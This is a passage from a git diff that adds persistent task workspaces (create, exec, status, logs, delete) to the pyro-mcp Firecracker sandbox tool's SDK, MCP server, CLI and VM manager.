print(f"task_id={task_id} command_count={logs['count']}") + finally: + pyro.delete_task(task_id) + + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml index c13a4e7..6a50302 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.0.1" +version = "2.1.0" description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index e2a0b1d..82f3abf 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -77,6 +77,43 @@ class Pyro: def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: return self._manager.exec_vm(vm_id, command=command, timeout_seconds=timeout_seconds) + def create_task( + self, + *, + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + return self._manager.create_task( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network=network, + allow_host_compat=allow_host_compat, + ) + + def exec_task( + self, + task_id: str, + *, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ) -> dict[str, Any]: + return self._manager.exec_task(task_id, command=command, timeout_seconds=timeout_seconds) + + def status_task(self, task_id: str) -> dict[str, Any]: + return self._manager.status_task(task_id) + + def logs_task(self, task_id: str) -> dict[str, Any]: + return self._manager.logs_task(task_id) + + def delete_task(self, task_id: str) -> dict[str, Any]: + return self._manager.delete_task(task_id) + def stop_vm(self, vm_id: str) -> dict[str, Any]: return self._manager.stop_vm(vm_id) @@ -200,4 +237,47 @@ class Pyro: """Delete VMs whose TTL has expired.""" return self.reap_expired() + @server.tool() + async def task_create( + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + """Create and start a persistent task workspace.""" + return self.create_task( + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + network=network, + allow_host_compat=allow_host_compat, + ) + + @server.tool() + async def task_exec( + task_id: str, + command: str, + timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + ) -> dict[str, Any]: + """Run one command inside an existing task workspace.""" + return self.exec_task(task_id, command=command, timeout_seconds=timeout_seconds) + + @server.tool() + async def task_status(task_id: str) -> dict[str, Any]: + """Inspect task state and latest command metadata.""" + return self.status_task(task_id) + + @server.tool() + async def task_logs(task_id: str) -> dict[str, Any]: + """Return persisted command history for one task.""" + return self.logs_task(task_id) + + @server.tool() + async def task_delete(task_id: str) -> dict[str, Any]: + """Delete a task workspace and its backing sandbox.""" + return self.delete_task(task_id) + return server diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 39c2434..16c056c 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -17,6 +17,7 @@ from pyro_mcp.vm_environments import DEFAULT_CATALOG_VERSION from pyro_mcp.vm_manager import ( DEFAULT_MEM_MIB, DEFAULT_VCPU_COUNT, + TASK_WORKSPACE_GUEST_PATH, ) @@ -149,6 +150,67 @@ def _print_doctor_human(payload: dict[str, Any]) -> None: print(f"- {issue}") +def _print_task_summary_human(payload: dict[str, Any], *, action: str) -> None: + print(f"{action}: {str(payload.get('task_id', 'unknown'))}") + print(f"Environment: {str(payload.get('environment', 'unknown'))}") + print(f"State: {str(payload.get('state', 'unknown'))}") + print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") + print(f"Execution mode: {str(payload.get('execution_mode', 'pending'))}") + print( + f"Resources: {int(payload.get('vcpu_count', 0))} vCPU / " + f"{int(payload.get('mem_mib', 0))} MiB" + ) + print(f"Command count: {int(payload.get('command_count', 0))}") + last_command = payload.get("last_command") + if isinstance(last_command, dict): + print( + "Last command: " + f"{str(last_command.get('command', 'unknown'))} " + f"(exit_code={int(last_command.get('exit_code', -1))})" + ) + + +def _print_task_exec_human(payload: dict[str, Any]) -> None: + stdout = str(payload.get("stdout", "")) + stderr = str(payload.get("stderr", "")) + _write_stream(stdout, stream=sys.stdout) + _write_stream(stderr, stream=sys.stderr) + print( + "[task-exec] " + f"task_id={str(payload.get('task_id', 'unknown'))} " + f"sequence={int(payload.get('sequence', 0))} " + f"cwd={str(payload.get('cwd', TASK_WORKSPACE_GUEST_PATH))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " + f"exit_code={int(payload.get('exit_code', 1))} " + f"duration_ms={int(payload.get('duration_ms', 0))}", + file=sys.stderr, + flush=True, + ) + + +def _print_task_logs_human(payload: dict[str, Any]) -> None: + entries = payload.get("entries") + if not isinstance(entries, list) or not entries: + print("No task logs found.") + return + for entry in entries: + if not isinstance(entry, dict): + continue + print( + f"#{int(entry.get('sequence', 0))} " + f"exit_code={int(entry.get('exit_code', -1))} " + f"duration_ms={int(entry.get('duration_ms', 0))} " + f"cwd={str(entry.get('cwd', TASK_WORKSPACE_GUEST_PATH))}" + ) + print(f"$ {str(entry.get('command', ''))}") + stdout = str(entry.get("stdout", "")) + stderr = str(entry.get("stderr", "")) + if stdout != "": + print(stdout, end="" if stdout.endswith("\n") else "\n") + if stderr != "": + print(stderr, end="" if stderr.endswith("\n") else "\n", file=sys.stderr) + + class _HelpFormatter( argparse.RawDescriptionHelpFormatter, argparse.ArgumentDefaultsHelpFormatter, @@ -178,6 +240,9 @@ def _build_parser() -> argparse.ArgumentParser: pyro env pull debian:12 pyro run debian:12 -- git --version + Need repeated commands in one workspace after that? + pyro task create debian:12 + Use `pyro mcp serve` only after the CLI validation path works. """ ), @@ -371,6 +436,152 @@ def _build_parser() -> argparse.ArgumentParser: ), ) + task_parser = subparsers.add_parser( + "task", + help="Manage persistent task workspaces.", + description=( + "Create a persistent workspace when you need repeated commands in one " + "sandbox instead of one-shot `pyro run`." + ), + epilog=dedent( + """ + Examples: + pyro task create debian:12 + pyro task exec TASK_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro task logs TASK_ID + """ + ), + formatter_class=_HelpFormatter, + ) + task_subparsers = task_parser.add_subparsers(dest="task_command", required=True, metavar="TASK") + task_create_parser = task_subparsers.add_parser( + "create", + help="Create and start a persistent task workspace.", + description="Create a task workspace that stays alive across repeated exec calls.", + epilog="Example:\n pyro task create debian:12", + formatter_class=_HelpFormatter, + ) + task_create_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Curated environment to boot, for example `debian:12`.", + ) + task_create_parser.add_argument( + "--vcpu-count", + type=int, + default=DEFAULT_VCPU_COUNT, + help="Number of virtual CPUs to allocate to the task guest.", + ) + task_create_parser.add_argument( + "--mem-mib", + type=int, + default=DEFAULT_MEM_MIB, + help="Guest memory allocation in MiB.", + ) + task_create_parser.add_argument( + "--ttl-seconds", + type=int, + default=600, + help="Time-to-live for the task before automatic cleanup.", + ) + task_create_parser.add_argument( + "--network", + action="store_true", + help="Enable outbound guest networking for the task guest.", + ) + task_create_parser.add_argument( + "--allow-host-compat", + action="store_true", + help=( + "Opt into host-side compatibility execution if guest boot or guest exec " + "is unavailable." + ), + ) + task_create_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + task_exec_parser = task_subparsers.add_parser( + "exec", + help="Run one command inside an existing task workspace.", + description="Run one non-interactive command in the persistent `/workspace` for a task.", + epilog="Example:\n pyro task exec TASK_ID -- cat note.txt", + formatter_class=_HelpFormatter, + ) + task_exec_parser.add_argument("task_id", metavar="TASK_ID", help="Persistent task identifier.") + task_exec_parser.add_argument( + "--timeout-seconds", + type=int, + default=30, + help="Maximum time allowed for the task command.", + ) + task_exec_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + task_exec_parser.add_argument( + "command_args", + nargs="*", + metavar="ARG", + help=( + "Command and arguments to run inside the task workspace. Prefix them with `--`, " + "for example `pyro task exec TASK_ID -- cat note.txt`." + ), + ) + task_status_parser = task_subparsers.add_parser( + "status", + help="Inspect one task workspace.", + description="Show task state, sizing, workspace path, and latest command metadata.", + epilog="Example:\n pyro task status TASK_ID", + formatter_class=_HelpFormatter, + ) + task_status_parser.add_argument( + "task_id", + metavar="TASK_ID", + help="Persistent task identifier.", + ) + task_status_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + task_logs_parser = task_subparsers.add_parser( + "logs", + help="Show command history for one task.", + description="Show persisted command history, including stdout and stderr, for one task.", + epilog="Example:\n pyro task logs TASK_ID", + formatter_class=_HelpFormatter, + ) + task_logs_parser.add_argument( + "task_id", + metavar="TASK_ID", + help="Persistent task identifier.", + ) + task_logs_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + task_delete_parser = task_subparsers.add_parser( + "delete", + help="Delete one task workspace.", + description="Stop the backing sandbox if needed and remove the task workspace.", + epilog="Example:\n pyro task delete TASK_ID", + formatter_class=_HelpFormatter, + ) + task_delete_parser.add_argument( + "task_id", + metavar="TASK_ID", + help="Persistent task identifier.", + ) + task_delete_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + doctor_parser = subparsers.add_parser( "doctor", help="Inspect runtime and host diagnostics.", @@ -451,7 +662,7 @@ def _require_command(command_args: list[str]) -> str: if command_args and command_args[0] == "--": command_args = command_args[1:] if not command_args: - raise ValueError("command is required after `pyro run --`") + raise ValueError("command is required after `--`") return " ".join(command_args) @@ -544,6 +755,70 @@ def main() -> None: if exit_code != 0: raise SystemExit(exit_code) return + if args.command == "task": + if args.task_command == "create": + payload = pyro.create_task( + environment=args.environment, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + ttl_seconds=args.ttl_seconds, + network=args.network, + allow_host_compat=args.allow_host_compat, + ) + if bool(args.json): + _print_json(payload) + else: + _print_task_summary_human(payload, action="Task") + return + if args.task_command == "exec": + command = _require_command(args.command_args) + if bool(args.json): + try: + payload = pyro.exec_task( + args.task_id, + command=command, + timeout_seconds=args.timeout_seconds, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.exec_task( + args.task_id, + command=command, + timeout_seconds=args.timeout_seconds, + ) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_task_exec_human(payload) + exit_code = int(payload.get("exit_code", 1)) + if exit_code != 0: + raise SystemExit(exit_code) + return + if args.task_command == "status": + payload = pyro.status_task(args.task_id) + if bool(args.json): + _print_json(payload) + else: + _print_task_summary_human(payload, action="Task") + return + if args.task_command == "logs": + payload = pyro.logs_task(args.task_id) + if bool(args.json): + _print_json(payload) + else: + _print_task_logs_human(payload) + return + if args.task_command == "delete": + payload = pyro.delete_task(args.task_id) + if bool(args.json): + _print_json(payload) + else: + print(f"Deleted task: {str(payload.get('task_id', 'unknown'))}") + return if args.command == "doctor": payload = doctor_report(platform=args.platform) if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 131907d..4e6866e 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -2,9 +2,10 @@ from __future__ import annotations -PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run") +PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "task") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") +PUBLIC_CLI_TASK_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status") PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", @@ -17,17 +18,22 @@ PUBLIC_CLI_RUN_FLAGS = ( PUBLIC_SDK_METHODS = ( "create_server", + "create_task", "create_vm", + "delete_task", "delete_vm", + "exec_task", "exec_vm", "inspect_environment", "list_environments", + "logs_task", "network_info_vm", "prune_environments", "pull_environment", "reap_expired", "run_in_vm", "start_vm", + "status_task", "status_vm", "stop_vm", ) @@ -43,4 +49,9 @@ PUBLIC_MCP_TOOLS = ( "vm_start", "vm_status", "vm_stop", + "task_create", + "task_delete", + "task_exec", + "task_logs", + "task_status", ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 801789a..4067fe0 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.0.0" +DEFAULT_CATALOG_VERSION = "2.1.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 9d005de..e93b4c8 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -1,8 +1,10 @@ -"""Lifecycle manager for ephemeral VM environments.""" +"""Lifecycle manager for ephemeral VM environments and persistent tasks.""" from __future__ import annotations +import json import os +import shlex import shutil import signal import subprocess @@ -11,7 +13,7 @@ import time import uuid from dataclasses import dataclass, field from pathlib import Path -from typing import Any, Literal +from typing import Any, Literal, cast from pyro_mcp.runtime import ( RuntimeCapabilities, @@ -32,6 +34,12 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False +TASK_LAYOUT_VERSION = 1 +TASK_WORKSPACE_DIRNAME = "workspace" +TASK_COMMANDS_DIRNAME = "commands" +TASK_RUNTIME_DIRNAME = "runtime" +TASK_WORKSPACE_GUEST_PATH = "/workspace" + @dataclass class VmInstance: @@ -54,6 +62,116 @@ class VmInstance: network: NetworkConfig | None = None +@dataclass +class TaskRecord: + """Persistent task metadata stored on disk.""" + + task_id: str + environment: str + vcpu_count: int + mem_mib: int + ttl_seconds: int + created_at: float + expires_at: float + state: VmState + network_requested: bool + allow_host_compat: bool + firecracker_pid: int | None = None + last_error: str | None = None + metadata: dict[str, str] = field(default_factory=dict) + network: NetworkConfig | None = None + command_count: int = 0 + last_command: dict[str, Any] | None = None + + @classmethod + def from_instance( + cls, + instance: VmInstance, + *, + command_count: int = 0, + last_command: dict[str, Any] | None = None, + ) -> TaskRecord: + return cls( + task_id=instance.vm_id, + environment=instance.environment, + vcpu_count=instance.vcpu_count, + mem_mib=instance.mem_mib, + ttl_seconds=instance.ttl_seconds, + created_at=instance.created_at, + expires_at=instance.expires_at, + state=instance.state, + network_requested=instance.network_requested, + allow_host_compat=instance.allow_host_compat, + firecracker_pid=instance.firecracker_pid, + last_error=instance.last_error, + metadata=dict(instance.metadata), + network=instance.network, + command_count=command_count, + last_command=last_command, + ) + + def to_instance(self, *, workdir: Path) -> VmInstance: + return VmInstance( + vm_id=self.task_id, + environment=self.environment, + vcpu_count=self.vcpu_count, + mem_mib=self.mem_mib, + ttl_seconds=self.ttl_seconds, + created_at=self.created_at, + expires_at=self.expires_at, + workdir=workdir, + state=self.state, + network_requested=self.network_requested, + allow_host_compat=self.allow_host_compat, + firecracker_pid=self.firecracker_pid, + last_error=self.last_error, + metadata=dict(self.metadata), + network=self.network, + ) + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": TASK_LAYOUT_VERSION, + "task_id": self.task_id, + "environment": self.environment, + "vcpu_count": self.vcpu_count, + "mem_mib": self.mem_mib, + "ttl_seconds": self.ttl_seconds, + "created_at": self.created_at, + "expires_at": self.expires_at, + "state": self.state, + "network_requested": self.network_requested, + "allow_host_compat": self.allow_host_compat, + "firecracker_pid": self.firecracker_pid, + "last_error": self.last_error, + "metadata": self.metadata, + "network": _serialize_network(self.network), + "command_count": self.command_count, + "last_command": self.last_command, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> TaskRecord: + return cls( + task_id=str(payload["task_id"]), + environment=str(payload["environment"]), + vcpu_count=int(payload["vcpu_count"]), + mem_mib=int(payload["mem_mib"]), + ttl_seconds=int(payload["ttl_seconds"]), + created_at=float(payload["created_at"]), + expires_at=float(payload["expires_at"]), + state=cast(VmState, str(payload.get("state", "stopped"))), + network_requested=bool(payload.get("network_requested", False)), + allow_host_compat=bool(payload.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), + firecracker_pid=_optional_int(payload.get("firecracker_pid")), + last_error=_optional_str(payload.get("last_error")), + metadata=_string_dict(payload.get("metadata")), + network=_deserialize_network(payload.get("network")), + command_count=int(payload.get("command_count", 0)), + last_command=_optional_dict(payload.get("last_command")), + ) + + @dataclass(frozen=True) class VmExecResult: """Command execution output.""" @@ -64,6 +182,72 @@ class VmExecResult: duration_ms: int +def _optional_int(value: object) -> int | None: + if value is None: + return None + if isinstance(value, bool): + return int(value) + if isinstance(value, int): + return value + if isinstance(value, float): + return int(value) + if isinstance(value, str): + return int(value) + raise TypeError("expected integer-compatible payload") + + +def _optional_str(value: object) -> str | None: + if value is None: + return None + return str(value) + + +def _optional_dict(value: object) -> dict[str, Any] | None: + if value is None: + return None + if not isinstance(value, dict): + raise TypeError("expected dictionary payload") + return dict(value) + + +def _string_dict(value: object) -> dict[str, str]: + if not isinstance(value, dict): + return {} + return {str(key): str(item) for key, item in value.items()} + + +def _serialize_network(network: NetworkConfig | None) -> dict[str, Any] | None: + if network is None: + return None + return { + "vm_id": network.vm_id, + "tap_name": network.tap_name, + "guest_ip": network.guest_ip, + "gateway_ip": network.gateway_ip, + "subnet_cidr": network.subnet_cidr, + "mac_address": network.mac_address, + "dns_servers": list(network.dns_servers), + } + + +def _deserialize_network(payload: object) -> NetworkConfig | None: + if payload is None: + return None + if not isinstance(payload, dict): + raise TypeError("expected dictionary payload") + dns_servers = payload.get("dns_servers", []) + dns_values = tuple(str(item) for item in dns_servers) if isinstance(dns_servers, list) else () + return NetworkConfig( + vm_id=str(payload["vm_id"]), + tap_name=str(payload["tap_name"]), + guest_ip=str(payload["guest_ip"]), + gateway_ip=str(payload["gateway_ip"]), + subnet_cidr=str(payload["subnet_cidr"]), + mac_address=str(payload["mac_address"]), + dns_servers=dns_values, + ) + + def _run_host_command(workdir: Path, command: str, timeout_seconds: int) -> VmExecResult: started = time.monotonic() env = {"PATH": os.environ.get("PATH", ""), "HOME": str(workdir)} @@ -109,6 +293,25 @@ def _copy_rootfs(source: Path, dest: Path) -> str: return "copy2" +def _wrap_guest_command(command: str, *, cwd: str | None = None) -> str: + if cwd is None: + return command + quoted_cwd = shlex.quote(cwd) + return f"mkdir -p {quoted_cwd} && cd {quoted_cwd} && {command}" + + +def _pid_is_running(pid: int | None) -> bool: + if pid is None: + return False + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + class VmBackend: """Backend interface for lifecycle operations.""" @@ -119,7 +322,12 @@ class VmBackend: raise NotImplementedError def exec( # pragma: no cover - self, instance: VmInstance, command: str, timeout_seconds: int + self, + instance: VmInstance, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, ) -> VmExecResult: raise NotImplementedError @@ -140,8 +348,15 @@ class MockBackend(VmBackend): marker_path = instance.workdir / ".started" marker_path.write_text("started\n", encoding="utf-8") - def exec(self, instance: VmInstance, command: str, timeout_seconds: int) -> VmExecResult: - return _run_host_command(instance.workdir, command, timeout_seconds) + def exec( + self, + instance: VmInstance, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + ) -> VmExecResult: + return _run_host_command(workdir or instance.workdir, command, timeout_seconds) def stop(self, instance: VmInstance) -> None: marker_path = instance.workdir / ".stopped" @@ -256,6 +471,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover stdout=serial_fp, stderr=subprocess.STDOUT, text=True, + start_new_session=True, ) self._processes[instance.vm_id] = process time.sleep(2) @@ -273,7 +489,14 @@ class FirecrackerBackend(VmBackend): # pragma: no cover ) instance.metadata["boot_mode"] = "native" - def exec(self, instance: VmInstance, command: str, timeout_seconds: int) -> VmExecResult: + def exec( + self, + instance: VmInstance, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + ) -> VmExecResult: if self._runtime_capabilities.supports_guest_exec: guest_cid = int(instance.metadata["guest_cid"]) port = int(instance.metadata["guest_exec_port"]) @@ -302,7 +525,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover duration_ms=response.duration_ms, ) instance.metadata["execution_mode"] = "host_compat" - return _run_host_command(instance.workdir, command, timeout_seconds) + return _run_host_command(workdir or instance.workdir, command, timeout_seconds) def stop(self, instance: VmInstance) -> None: process = self._processes.pop(instance.vm_id, None) @@ -341,7 +564,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover class VmManager: - """In-process lifecycle manager for ephemeral VM environments.""" + """In-process lifecycle manager for ephemeral VM environments and tasks.""" MIN_VCPUS = 1 MAX_VCPUS = 8 @@ -367,6 +590,7 @@ class VmManager: ) -> None: self._backend_name = backend_name or "firecracker" self._base_dir = base_dir or Path("/tmp/pyro-mcp") + self._tasks_dir = self._base_dir / "tasks" resolved_cache_dir = cache_dir or default_cache_dir() self._runtime_paths = runtime_paths if self._backend_name == "firecracker": @@ -399,6 +623,7 @@ class VmManager: self._lock = threading.Lock() self._instances: dict[str, VmInstance] = {} self._base_dir.mkdir(parents=True, exist_ok=True) + self._tasks_dir.mkdir(parents=True, exist_ok=True) self._backend = self._build_backend() def _build_backend(self) -> VmBackend: @@ -443,7 +668,8 @@ class VmManager: now = time.time() with self._lock: self._reap_expired_locked(now) - active_count = len(self._instances) + self._reap_expired_tasks_locked(now) + active_count = len(self._instances) + self._count_tasks_locked() if active_count >= self._max_active_vms: raise RuntimeError( f"max active VMs reached ({self._max_active_vms}); delete old VMs first" @@ -501,36 +727,24 @@ class VmManager: with self._lock: instance = self._get_instance_locked(vm_id) self._ensure_not_expired_locked(instance, time.time()) - if instance.state not in {"created", "stopped"}: - raise RuntimeError(f"vm {vm_id} cannot be started from state {instance.state!r}") - self._require_guest_boot_or_opt_in(instance) - if not self._runtime_capabilities.supports_vm_boot: - instance.metadata["execution_mode"] = "host_compat" - instance.metadata["boot_mode"] = "compat" - if self._runtime_capabilities.reason is not None: - instance.metadata["runtime_reason"] = self._runtime_capabilities.reason - self._backend.start(instance) - instance.state = "started" + self._start_instance_locked(instance) return self._serialize(instance) def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: - if timeout_seconds <= 0: - raise ValueError("timeout_seconds must be positive") with self._lock: instance = self._get_instance_locked(vm_id) self._ensure_not_expired_locked(instance, time.time()) - if instance.state != "started": - raise RuntimeError(f"vm {vm_id} must be in 'started' state before vm_exec") - self._require_guest_exec_or_opt_in(instance) - if not self._runtime_capabilities.supports_guest_exec: - instance.metadata["execution_mode"] = "host_compat" - exec_result = self._backend.exec(instance, command, timeout_seconds) - execution_mode = instance.metadata.get("execution_mode", "unknown") + exec_instance = instance + exec_result, execution_mode = self._exec_instance( + exec_instance, + command=command, + timeout_seconds=timeout_seconds, + ) cleanup = self.delete_vm(vm_id, reason="post_exec_cleanup") return { "vm_id": vm_id, - "environment": instance.environment, - "environment_version": instance.metadata.get("environment_version"), + "environment": exec_instance.environment, + "environment_version": exec_instance.metadata.get("environment_version"), "command": command, "stdout": exec_result.stdout, "stderr": exec_result.stderr, @@ -591,6 +805,154 @@ class VmManager: del self._instances[vm_id] return {"deleted_vm_ids": expired_vm_ids, "count": len(expired_vm_ids)} + def create_task( + self, + *, + environment: str, + vcpu_count: int = DEFAULT_VCPU_COUNT, + mem_mib: int = DEFAULT_MEM_MIB, + ttl_seconds: int = DEFAULT_TTL_SECONDS, + network: bool = False, + allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + ) -> dict[str, Any]: + self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) + get_environment(environment, runtime_paths=self._runtime_paths) + now = time.time() + task_id = uuid.uuid4().hex[:12] + task_dir = self._task_dir(task_id) + runtime_dir = self._task_runtime_dir(task_id) + workspace_dir = self._task_workspace_dir(task_id) + commands_dir = self._task_commands_dir(task_id) + task_dir.mkdir(parents=True, exist_ok=False) + workspace_dir.mkdir(parents=True, exist_ok=True) + commands_dir.mkdir(parents=True, exist_ok=True) + instance = VmInstance( + vm_id=task_id, + environment=environment, + vcpu_count=vcpu_count, + mem_mib=mem_mib, + ttl_seconds=ttl_seconds, + created_at=now, + expires_at=now + ttl_seconds, + workdir=runtime_dir, + network_requested=network, + allow_host_compat=allow_host_compat, + ) + instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() + instance.metadata["workspace_path"] = TASK_WORKSPACE_GUEST_PATH + instance.metadata["workspace_host_dir"] = str(workspace_dir) + try: + with self._lock: + self._reap_expired_locked(now) + self._reap_expired_tasks_locked(now) + active_count = len(self._instances) + self._count_tasks_locked() + if active_count >= self._max_active_vms: + raise RuntimeError( + f"max active VMs reached ({self._max_active_vms}); delete old VMs first" + ) + self._backend.create(instance) + with self._lock: + self._start_instance_locked(instance) + self._require_guest_exec_or_opt_in(instance) + if self._runtime_capabilities.supports_guest_exec: + self._backend.exec( + instance, + f"mkdir -p {shlex.quote(TASK_WORKSPACE_GUEST_PATH)}", + 10, + ) + else: + instance.metadata["execution_mode"] = "host_compat" + task = TaskRecord.from_instance(instance) + self._save_task_locked(task) + return self._serialize_task(task) + except Exception: + if runtime_dir.exists(): + try: + if instance.state == "started": + self._backend.stop(instance) + instance.state = "stopped" + except Exception: + pass + try: + self._backend.delete(instance) + except Exception: + pass + shutil.rmtree(task_dir, ignore_errors=True) + raise + + def exec_task(self, task_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: + if timeout_seconds <= 0: + raise ValueError("timeout_seconds must be positive") + with self._lock: + task = self._load_task_locked(task_id) + self._ensure_task_not_expired_locked(task, time.time()) + self._refresh_task_liveness_locked(task) + if task.state != "started": + raise RuntimeError(f"task {task_id} must be in 'started' state before task_exec") + instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) + exec_result, execution_mode = self._exec_instance( + instance, + command=command, + timeout_seconds=timeout_seconds, + host_workdir=self._task_workspace_dir(task.task_id), + guest_cwd=TASK_WORKSPACE_GUEST_PATH, + ) + with self._lock: + task = self._load_task_locked(task_id) + task.state = instance.state + task.firecracker_pid = instance.firecracker_pid + task.last_error = instance.last_error + task.metadata = dict(instance.metadata) + entry = self._record_task_command_locked( + task, + command=command, + exec_result=exec_result, + execution_mode=execution_mode, + cwd=TASK_WORKSPACE_GUEST_PATH, + ) + self._save_task_locked(task) + return { + "task_id": task_id, + "environment": task.environment, + "environment_version": task.metadata.get("environment_version"), + "command": command, + "stdout": exec_result.stdout, + "stderr": exec_result.stderr, + "exit_code": exec_result.exit_code, + "duration_ms": exec_result.duration_ms, + "execution_mode": execution_mode, + "sequence": entry["sequence"], + "cwd": TASK_WORKSPACE_GUEST_PATH, + } + + def status_task(self, task_id: str) -> dict[str, Any]: + with self._lock: + task = self._load_task_locked(task_id) + self._ensure_task_not_expired_locked(task, time.time()) + self._refresh_task_liveness_locked(task) + self._save_task_locked(task) + return self._serialize_task(task) + + def logs_task(self, task_id: str) -> dict[str, Any]: + with self._lock: + task = self._load_task_locked(task_id) + self._ensure_task_not_expired_locked(task, time.time()) + self._refresh_task_liveness_locked(task) + self._save_task_locked(task) + entries = self._read_task_logs_locked(task.task_id) + return {"task_id": task.task_id, "count": len(entries), "entries": entries} + + def delete_task(self, task_id: str, *, reason: str = "explicit_delete") -> dict[str, Any]: + with self._lock: + task = self._load_task_locked(task_id) + instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) + if task.state == "started": + self._backend.stop(instance) + task.state = "stopped" + self._backend.delete(instance) + shutil.rmtree(self._task_dir(task_id), ignore_errors=True) + return {"task_id": task_id, "deleted": True, "reason": reason} + def _validate_limits(self, *, vcpu_count: int, mem_mib: int, ttl_seconds: int) -> None: if not self.MIN_VCPUS <= vcpu_count <= self.MAX_VCPUS: raise ValueError(f"vcpu_count must be between {self.MIN_VCPUS} and {self.MAX_VCPUS}") @@ -620,6 +982,28 @@ class VmManager: "metadata": instance.metadata, } + def _serialize_task(self, task: TaskRecord) -> dict[str, Any]: + return { + "task_id": task.task_id, + "environment": task.environment, + "environment_version": task.metadata.get("environment_version"), + "vcpu_count": task.vcpu_count, + "mem_mib": task.mem_mib, + "ttl_seconds": task.ttl_seconds, + "created_at": task.created_at, + "expires_at": task.expires_at, + "state": task.state, + "network_enabled": task.network is not None, + "allow_host_compat": task.allow_host_compat, + "guest_ip": task.network.guest_ip if task.network is not None else None, + "tap_name": task.network.tap_name if task.network is not None else None, + "execution_mode": task.metadata.get("execution_mode", "pending"), + "workspace_path": TASK_WORKSPACE_GUEST_PATH, + "command_count": task.command_count, + "last_command": task.last_command, + "metadata": task.metadata, + } + def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: return @@ -665,3 +1049,184 @@ class VmManager: vm_id = instance.vm_id self._reap_expired_locked(now) raise RuntimeError(f"vm {vm_id!r} expired and was automatically deleted") + + def _start_instance_locked(self, instance: VmInstance) -> None: + if instance.state not in {"created", "stopped"}: + raise RuntimeError( 